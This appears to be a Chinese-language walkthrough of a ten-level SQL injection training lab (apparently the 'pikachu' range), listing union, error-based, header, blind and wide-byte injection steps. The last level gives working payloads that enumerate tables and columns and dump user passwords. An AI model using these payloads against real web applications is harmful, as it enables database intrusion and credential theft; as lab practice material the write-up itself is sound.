第一关 数字型(post请求)
我们直接抓包修改post的请求数据 联合查询即可,查出版本号,数据库名
查表名
查字段
查数据
结束
第二关 字符型注入
直接在url判断闭合符
判断回显
我们 order by 3时显示没有那么应该就是2
有回显我们直接联合查询union select 1,2#
看版本数据库名
查表
查字段
结束
第三关 搜索型
随便输入一个字母带出了信息直接联合注入
回显有三位
三个都能出数据
查库名表名
查字段
结束
第四关 xx型
先判断用什么注入类型发现有回显试一试联合
成功判断出闭合符‘)和回显2位
查库名表名
结束
第五关 updata报错注入
一个注册页面我们抓个包试试
用updatexml函数成功
直接报错注入查出表名
字段名
结束
第六关 delete注入
在删除留言板时抓个包看看
发现请求行多了一个id直接报错注入发现一直错(他把空格编译了得拿+连接)
查表名
结束
第七关 http头注入
我们看一下提示登录一下看看
发现有UA我们试试抓一个退出的包在ua里注入
使用报错注入成功,步骤同上
第八关 布尔盲注
布尔盲注太浪费时间我们直接sqlmap我这边用的kali
成功
扫库名
完成
扫表名
成功
字段名
扫想要的数据
结束
第九关 时间盲注
同上使用sqlmap
第十关 宽字节注入
先搞懂宽字节是什么
宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询
payload:1%df' union select version(),database()#
查表名
把库名转换成16进制格式
payload:1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=0x70696b61636875#
查字段
payload:1%df' union select 1,group_concat(column_name)from information_schema.columns where table_schema=0x70696b61636875 and table_name=0x7573657273#
查数据
payload:1%df' union select 1,group_concat(password)from users#
结束无聊的一天开始了